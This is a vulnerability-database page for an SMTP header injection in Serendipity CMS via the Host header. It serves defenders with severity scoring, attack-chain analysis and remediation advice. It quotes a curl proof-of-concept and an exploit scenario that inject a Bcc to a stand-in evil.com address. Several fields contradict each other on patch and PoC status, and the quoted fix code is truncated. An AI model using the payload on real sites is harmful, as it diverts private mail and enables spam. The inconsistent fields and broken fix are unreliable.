Skip to main content

PHP CVE-2026-39971

HIGH
HTTP Response Splitting (CWE-113)
2026-04-14 https://github.com/s9y/Serendipity GHSA-458g-q4fh-mj6r
7.2
CVSS 3.1 · Vendor: https://github.com/s9y/Serendipity
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious Host header with CRLF
  2. Delivery
    Submit blog comment triggering email
  3. Exploit
    Inject arbitrary SMTP headers
  4. Execution
    Mail server processes injected Bcc/Reply-To
  5. Persist
    Attacker receives notification copies
  6. Impact
    Harvest email addresses or relay spam

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization HTTP response header sanitization
Exploitation Conditions

Remote unauthenticated attacker can exploit Serendipity CMS by controlling the HTTP Host header during any email-triggering action (e.g., contact form submission, user registration). No special configuration required; affects default installations. Attacker injects arbitrary SMTP headers via unsanitized $_SERVER['HTTP_HOST'] in Message-ID field.

Impact

The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N indicates network-accessible attack requiring no authentication, low complexity, and no user interaction-favorable conditions for exploitation. The Changed scope (S:C) is particularly significant, reflecting that injected headers can affect email systems beyond the vulnerable application itself. However, real-world risk is moderated by several factors: modern mail transfer agents often implement additional header validation that may block obvious injection attempts; the impact is limited to Low confidentiality and integrity (no availability impact); and email-based attacks require social engineering or specific mail client behaviors to achieve meaningful outcomes. The GitHub advisory provides a functional PoC, lowering the skill barrier for exploitation. Without EPSS probability data or CISA KEV confirmation, this appears to be a medium-priority issue: actionable for internet-facing Serendipity installations handling sensitive communications, but not reaching critical severity of RCE or data exfiltration vulnerabilities. The 'RCE' tag in metadata appears to be a miscategorization-this is strictly an email header injection issue, not remote code execution.

Exploit ScenarioDerived

An attacker identifies a Serendipity blog installation and crafts an HTTP POST request to the comment submission endpoint (comment.php) with a malicious Host header containing CRLF sequences and additional SMTP headers, such as 'Host: legitimate.blog\r\nBcc: attacker@evil.com\r\nX-Spam:'. When the blog owner receives the comment notification email, the mail server processes the injected headers, silently sending a blind carbon copy to the attacker's email address. The attacker now receives all future comment notifications, potentially exposing subscriber email addresses, private comments, or sensitive discussion content. In a more sophisticated attack, the injected Bcc field could target thousands of recipients, effectively turning the legitimate blog's mail server into an open relay for spam campaigns. The attack requires only HTTP access and succeeds with low complexity since Serendipity applies no validation to the Host header value.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 15, 2026

SMTP header injection in Serendipity CMS allows remote unauthenticated attackers to inject arbitrary email headers via malicious Host header during email-triggering operations (comments, subscriptions, password resets). The unsanitized $_SERVER['HTTP_HOST'] value is embedded directly into Message-ID headers without validation, enabling BCC injection, email spoofing, and reply hijacking. CVSS 7.2 with Changed scope indicates cross-domain impact. EPSS data not available; no public exploit identified at time of analysis, though a detailed proof-of-concept exists in the GitHub security advisory demonstrating successful header injection via comment submission.

RemediationAI

Apply the vendor-released security patch detailed in the GitHub security advisory at https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r. The recommended fix involves sanitizing the HTTP_HOST value before embedding it into email headers using a whitelist approach: extract the hostname component via parse_url(), then apply a strict regular expression (preg_replace('/[^a-zA-Z0-9.\-]/', '')) to remove all characters except alphanumerics, dots, and hyphens. This prevents CRLF injection and ensures only valid hostname syntax reaches the Message-ID header. If immediate patching is not feasible, implement a temporary workaround by configuring a static hostname for email headers in Serendipity's configuration rather than relying on the HTTP Host header, or deploy a reverse proxy/WAF rule to validate Host header format before requests reach the application. Review email logs for suspicious Message-ID patterns or unexpected BCC recipients that might indicate prior exploitation. Given the network attack vector and lack of authentication requirement, prioritize patching for internet-facing installations.

Affected Packages

composer s9y/serendipity fix: 2.6.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers). Serendipity's email composition logic in include/functions.inc.php:548 constructs Message-ID headers by concatenating a random token with the raw HTTP Host header value. While the codebase includes a serendipity_isResponseClean() function to strip carriage return and line feed characters, this sanitization is never invoked on the HTTP_HOST input before header construction. The PHP mail() function interprets CRLF sequences as header delimiters in SMTP protocol, allowing attackers to break out of the Message-ID field and inject arbitrary headers. The affected package (pkg:composer/s9y_serendipity) is a widely-used blogging platform written in PHP, where email notifications are core functionality triggered by user interactions like comment submissions. The attack leverages HTTP request smuggling principles where the Host header-normally expected to contain only hostname data-becomes a vector for protocol-level injection when improperly trusted server-side.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/s9y/Serendipity) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/s9y/Serendipity) · only source for this CVE.

CVSS VectorVendor: https://github.com/s9y/Serendipity

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Apr 15, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 14, 2026 - 22:32 nvd
HIGH 7.2

DescriptionCVE.org

Summary

Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details

In include/functions.inc.php:548:

php
$maildata['headers'][] = 'Message-ID: <'
    . bin2hex(random_bytes(16))
    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled
    . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants:

php
function serendipity_isResponseClean($d) {
    return (strpos($d, "\r") === false && strpos($d, "\n") === false
        && stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}

Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers - making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as:

  • New comment notifications to blog owner
  • Comment subscription notifications to subscribers
  • Password reset emails (if configured)

PoC

bash
# Trigger comment notification email with injected header
curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
  http://[TARGET]/comment.php

Resulting malicious Message-ID header in outgoing email:

Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >

Impact

An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables:

  • Identity spoofing - emails appear to originate from attacker-controlled domain
  • Reply hijacking - some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
  • Email reputation abuse - attacker's domain embedded in legitimate mail headers

Suggested Fix

Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:

php
$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '',
    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';

Executive ViewAI

Why It Matters

Serendipity CMS contains an SMTP header injection vulnerability that allows unauthenticated attackers to manipulate email headers through the Host header parameter, enabling email spoofing, unauthorized BCC injection, and reply hijacking across comment submissions, subscription confirmations, and password reset flows. This affects any organization running Serendipity CMS that processes user-triggered emails, potentially compromising email integrity and enabling social engineering attacks against users and administrators.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Configure web server (Apache/Nginx) to reject or normalize Host headers that do not match your authorized domain list; (2) Implement rate limiting and CAPTCHA on comment submission and password-reset endpoints; (3) Review and restrict SMTP relay permissions to authenticated internal servers only; (4) Monitor outbound email Message-ID headers for unexpected modifications; (5) Disable user-facing email features (comments, subscriptions, password resets) until patched if risk tolerance is low.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:composer/s9y_serendipity

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy